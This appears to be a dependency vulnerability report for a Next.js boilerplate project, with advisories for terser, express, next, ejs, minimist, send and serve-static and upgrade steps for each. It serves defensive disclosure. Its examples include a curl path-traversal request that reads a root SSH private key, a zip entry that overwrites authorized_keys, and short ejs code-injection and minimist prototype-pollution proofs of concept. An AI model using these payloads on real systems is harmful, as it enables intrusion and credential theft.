Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade terser to version 4.8.1, 5.14.2 or higher.

References

medium severity

Cross-site Scripting

  • Vulnerable module: express
  • Introduced through: express@4.16.4

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 express@4.16.4
    Remediation: Upgrade to express@4.20.0.

Overview

express is a minimalist web framework.

Affected versions of this package are vulnerable to Cross-site Scripting due to improper handling of user input in the response.redirect method. An attacker can execute arbitrary code by passing malicious input to this method.

Note

To exploit this vulnerability, the following conditions are required:

  1. The attacker should be able to control the input to response.redirect()

  2. express must not redirect before the template appears

  3. the browser must not complete redirection before:

  4. the user must click on the link in the template

Remediation

Upgrade express to version 4.20.0, 5.0.0 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: next
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2
    Remediation: Upgrade to next@11.1.0.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Open Redirect. Specially encoded paths could be used when pages/_error.js was statically generated, allowing an open redirect to occur to an external site. In general, this redirect does not directly harm users, though it can allow for phishing attacks by redirecting to an attacker's domain from a trusted domain.

Remediation

Upgrade next to version 11.1.0 or higher.

References

medium severity

Path Traversal

  • Vulnerable module: next
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2
    Remediation: Upgrade to next@9.3.2.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Path Traversal. Next.js versions before 9.3.2 have a directory traversal vulnerability. Attackers could craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next).

Details:

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade next to version 9.3.2 or higher.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: ejs
  • Introduced through: offline-plugin@5.0.6

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 offline-plugin@5.0.6 ejs@2.7.4

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.

POC

let ejs = require('ejs')
ejs.render('./views/test.ejs',{
    filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
    compileDebug: true,
    message: 'test',
    client: true
})

Remediation

Upgrade ejs to version 3.1.6 or higher.

References

low severity

Prototype Pollution

  • Vulnerable module: minimist
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 minimist@1.2.0
    Remediation: Upgrade to next@8.0.0.

Overview

minimist is a parse argument options module.

Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype.

Notes:

  • This vulnerability is a bypass to CVE-2020-7598

  • The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.

PoC by Snyk

require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade minimist to version 0.2.4, 1.2.6 or higher.

References

low severity

Cross-site Scripting

  • Vulnerable module: send
  • Introduced through: express@4.16.4 and next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 express@4.16.4 send@0.16.2
    Remediation: Upgrade to express@4.20.0.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 express@4.16.4 serve-static@1.13.2 send@0.16.2
    Remediation: Upgrade to express@4.21.0.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 send@0.16.1
    Remediation: Upgrade to next@8.0.0.

Overview

send is a Better streaming static file server with Range and conditional-GET support

Affected versions of this package are vulnerable to Cross-site Scripting due to improper user input sanitization passed to the SendStream.redirect() function, which executes untrusted code. An attacker can execute arbitrary code by manipulating the input parameters to this method.

Note:

Exploiting this vulnerability requires the following:

  1. The attacker needs to control the input to response.redirect()

  2. Express MUST NOT redirect before the template appears

  3. The browser MUST NOT complete redirection before

  4. The user MUST click on the link in the template

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade send to version 0.19.0, 1.1.0 or higher.

References

low severity

Cross-site Scripting

  • Vulnerable module: serve-static
  • Introduced through: express@4.16.4

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 express@4.16.4 serve-static@1.13.2
    Remediation: Upgrade to express@4.20.0.

Overview

serve-static is a server.

Affected versions of this package are vulnerable to Cross-site Scripting due to improper sanitization of user input in the redirect function. An attacker can manipulate the redirection process by injecting malicious code into the input.

Note

To exploit this vulnerability, the following conditions are required:

  1. The attacker should be able to control the input to response.redirect()

  2. express must not redirect before the template appears

  3. the browser must not complete redirection before:

  4. the user must click on the link in the template

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade serve-static to version 1.16.0, 2.1.0 or higher.

References